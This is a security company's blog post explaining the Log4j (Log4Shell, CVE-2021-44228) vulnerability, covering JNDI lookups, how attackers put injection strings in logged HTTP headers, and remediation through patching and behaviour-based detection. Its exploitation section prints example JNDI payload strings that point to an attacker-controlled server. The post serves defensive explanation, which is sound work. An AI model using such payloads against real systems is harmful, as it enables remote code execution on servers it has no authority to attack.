Log4j Vulnerability-An overview to the un-noticed open window in your application.

Log4jShell !!! Log4j vulnerability !!! Log4j RCE !!! , you are probably getting all of these names, notifications and posts popping up in your LinkedIn, Twitter and other social network sites in December last year. It created a huge hue and cry in internet as this vulnerability was having critical impact on millions of java based Applications which are using Log4j library for logging. One of the reports says, more than 840000 attacks were seens within 72 hours of vulnerability disclosure.

lets first understand what is Log4j

Log4j

Log4j is an open-source logging java framework or logging library that enables Java software developers to record different data inside their applications. It is a component of the Apache Logging Services project, which is run by the Apache Software Foundation. Thousands of websites and apps use Log4j to do basic tasks like logging information for debugging etc.

Log4j vulnerability

The Log4j Vulnerability is assigned CVE as CVE-2021-44228. This vulnerability is also called as Log4Shell and LogJam. This vulnerability is a zero day which was un-noticed by any researcher for so many years.
If a cyber-attacker takes advantage of this, they might let the Log4j server run whatever programme they want, even malware that can entirely take over the server. It was discovered by Alibaba Cloud Security team researchers, and it was secretly revealed to the Apache Foundation on November 24th, 2021, and publicly published on December 9th, 2021.
Log4j adds the ability to do lookups, such as system properties lookups, map lookups and Java Naming and Directory Interface (JNDI) lookups, to increase logging capability beyond simple log formatting.
If we talk about JNDI, Remote Method Invocation (RMI), Lightweight Directory Access Protocol (LDAP), Domain Name Service (DNS), Common Object Request Broker Architecture (CORBA), and others utilise the JNDI API to acquire name and directory services from a variety of service providers.
Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources via a name. It is defined to be independent of any specific directory service implementation. Thus, a variety of directories, new, emerging, and already deployed can be accessed in a common way.

The flaw exploits Log4j’s failure to validate LDAP and JNDI queries, enabling attackers to run arbitrary Java code on a server. This is a typical case of failing to validate information and trusting it without sanitization. (Log4j unable to sanitize URLs supplied in these strings in this situation.) Log4Shell received a CVSS grade of 10 (Critical) from the Apache Software Foundation, the highest possible score.In addition, it is observed that there are many obfuscation techniques to avoid detection as shown below.

Log4j Exploitation

HTTP requests are commonly recorded, and putting the malicious text in the HTTP request URL or a commonly logged HTTP header like User-Agent, X-Remote-IP, X-Forwarded-For, etc. is a typical attack vector. A large number of headers are frequently recorded/logged . An attacker must force the app to store a particular string of characters in the log to exploit the flaw. This vulnerability is exceptionally straightforward to attack and may be triggered in a number of ways since programmes frequently record a broad range of events such as messages sent and received by users or the specifics of system faults.
By submitting a maliciously crafted request to the web server running a vulnerable version of Log4j, an unauthenticated, remote attacker might exploit this problem. JNDI injection is used in the constructed request through a number of services, including LDAP, LDAPS, DNS, and Java’s RMI. If the susceptible server logs requests using Log4j, the exploit will request a malicious payload from an attacker-controlled server through JNDI via one of the services indicated above. JNDI enables for the search of Java objects at runtime when given a path to their data, and LDAP fetches the object data as a URL from a suitable server, either locally or remotely.
All an attacker has to do is use a JNDI reference such as
${jndi:rmi://our_server } or
${jndi:ldap://our_server}
, as an input like such gets logged , will parse as text and resolve it [deserialize it!]. Thus, when this happens it allows an attacker to control the objects being retrieved. This permits the attacker to insert a java class payload into the logging server and effectively execute arbitrary code.

Suggested Read : [10 Most Exploited Software From 2016 To 2020] (https://payatu.com/blog/murtuja/10-most-exploited-software-from-2016-to-2020)

Remediation

To resolve the problem, temporary Log4j workarounds, fixes, and upgrades are available. Because of the nature of the vulnerability, we advise that you presume a breach. In addition to patching and updating, perform further retroactive hunting and remediation. We highly advise against relying entirely on signature detection due to the enormous number of potential evasion tactics, especially for the first infiltration. Instead, concentrate on behavior-based detections that examine connected processes and component activity, such as java.exe, w3wp.exe, and network activity associated with potentially susceptible targets, such as ldap/s connections.

References

• https://medium.com/avmconsulting-blog/log4j-vulnerability-for-dummies-13af42ce4266
• https://sysdig.com/blog/exploit-detect-mitigate-log4j-cve/

About Payatu

Having conducted over 1000+ assessments, spread across almost a decade, Payatu has the experience & expertise needed to conduct a world class web application security testing.

Get in touch with us. Click on the get started button below.